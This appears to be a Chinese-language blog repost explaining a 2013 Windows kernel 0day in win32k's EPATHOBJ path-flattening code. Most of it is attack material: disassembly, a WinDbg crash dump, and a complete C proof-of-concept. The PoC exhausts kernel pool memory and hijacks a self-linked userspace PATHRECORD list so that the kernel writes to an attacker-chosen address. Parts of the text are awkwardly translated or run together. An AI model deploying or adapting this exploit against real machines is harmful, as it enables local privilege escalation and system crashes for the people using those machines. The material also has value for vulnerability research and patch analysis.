Windows內(nèi)核EPATHOBJ 0day漏洞是通過對PATHALLOC()進行內(nèi)存壓力測試爆出的，首先利用PATHREC>指向相同的的用戶空間PATHREC EPATHOBJ::bFlatten它會”自旋”進行無限鏈表遍歷。

如:PathRecord->next = PathRecord;

雖然它會自旋,但它會通過另一個線程池來打補丁(pprFlattenRec)到列表中的節(jié)點（因為它是在用戶空間）。

首先，創(chuàng)建一個”監(jiān)控線程( watchdog)”，atomically補丁列表，因為pprFlattenRec過早退出,bug不能被利用會導(dǎo)致HeavyAllocPool

pprFlattenRec :.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) 
.text:BFA122BD cmp eax, 1 ; Check for failure 
.text:BFA122C0 jz short continue 
.text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit

所以要創(chuàng)建一個這樣的節(jié)點列表：

PathRecord->Next = PathRecord;PathRecord->Flags = 0;

然后 EPATHOBJ::bFlatten()自旋：

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this){
    /* ... */

    for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
    {
      if ( ppr->flags & PD_BEZIER )
      {
        ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
      }
    }

    /* ... */}

可以先清掉另一個線程,然后再進行線程修復(fù)(因為在userspace是可以做到的)來觸發(fā)該漏洞

/ / EPATHOBJ的:: bFlatten（）

第一個pprFlattenRec代碼塊：

if ( pprNew->pprPrev )
pprNew->pprPrev->pprnext = pprNew;寫入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter){     ## 此程序超時會等待一個mutex對象,然后修補受損的鏈表指向一個漏洞。
    
    LogMessage(L_INFO, “Watchdog thread %u waiting on Mutex () %p”,
                       GetCurrentThreadId(),
                       Mutex);     if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        ## 使主(main)線程無法調(diào)用FlattenPath(),
        ## 因為內(nèi)核EPATHOBJ::bFlatten()自旋可以被清理(clear).
        ## 然后打補丁列表來觸發(fā)我們的exploit.
        while (NumRegion–)
            DeleteObject(Regions[NumRegion]);         

LogMessage(L_ERROR, “InterlockedExchange(%p, %p);”, 

&PathRecord->next, &ExploitRecord);       

InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);     } else {
        LogMessage(L_ERROR, “Mutex object did not timeout, list not patched”);
    }     return 0;} PathRecord->next = PathRecord;PathRecord->prev = (PVOID)(0×42424242);PathRecord->flags = 0;ExploitRecord.next = NULL;ExploitRecord.prev = 0xCCCCCCCC;ExploitRecord.flags = PD_BEZIERS;

在Win 8下的輸出:

kd> g
********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ********************************************************************************Use !analyze -v to get detailed debugging information.BugCheck 50, {cccccccc, 1, 8f18972e, 2}*** WARNING: Unable to verify checksum for ComplexPath.exe
*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )Followup: MachineOwner---------

nt!RtlpBreakWithStatusInstruction:810f46f4 cc              int     3
kd> kv
ChildEBP RetAddr  Args to Child              
a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
kd> .trap a03aba2c
ErrCode = 00000002
eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
win32k!EPATHOBJ::pprFlattenRec+0x82:8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
kd> vertarget
Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTSBuilt by: 9200.16581.x86fre.win8_gdr.130410-1505Machine Name:Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)System Uptime: 0 days 0:02:30.432
kd> .bugcheck
Bugcheck code 00000050Arguments cccccccc 00000001 8f18972e 00000002

以下是示例代碼POC:

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS#endif#include <windows.h>#include <assert.h>#include <stdio.h>#include <stddef.h>#include <winnt.h>#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS#endif#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013//

POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion;
HANDLE      Mutex;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH   0x00000001#define PD_ENDSUBPATH     0x00000002#define PD_RESETSTYLE     0x00000004#define PD_CLOSEFIGURE    0x00000008#define PD_BEZIERS        0x00000010typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[0];} PATHRECORD, *PPATHRECORD;


PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord;

DWORD WINAPI WatchdogThread(LPVOID Parameter){

    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
                       GetCurrentThreadId(),
                       Mutex);

    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        while (NumRegion--)
            DeleteObject(Regions[NumRegion]);

        LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);

        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);

    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }

    return 0;}int main(int argc, char **argv){
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    HRGN        Buffer;
    ULONG       PointNum;
    ULONG       Count;

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要從EPATHOBJ::pprflattenRec()鍵入PD——BEZIERS,這樣就可以觸發(fā)無限循環(huán)。
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

    ExploitRecord.next  = NULL;
    ExploitRecord.prev  = 0xCCCCCCCC;
    ExploitRecord.flags = PD_BEZIERS;

    LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                     NULL,
                     NULL,
                     0,
                     GENERIC_ALL,
                     NULL));

    Mutex = CreateMutex(NULL, TRUE, NULL);

    // Get a handle to this Desktop.
    Device = GetDC(NULL);

    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.

    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);


    LogMessage(L_INFO, "Flattening curves...");

    // Begin filling the free list with our points.
    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);
        EndPath(Device);
    }

    LogMessage(L_INFO, "No luck, cleaning up");

    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);

    ReleaseDC(NULL, Device);
    WaitForSingleObject(Thread, INFINITE);

    return 0;}// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...){
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

    return TRUE;}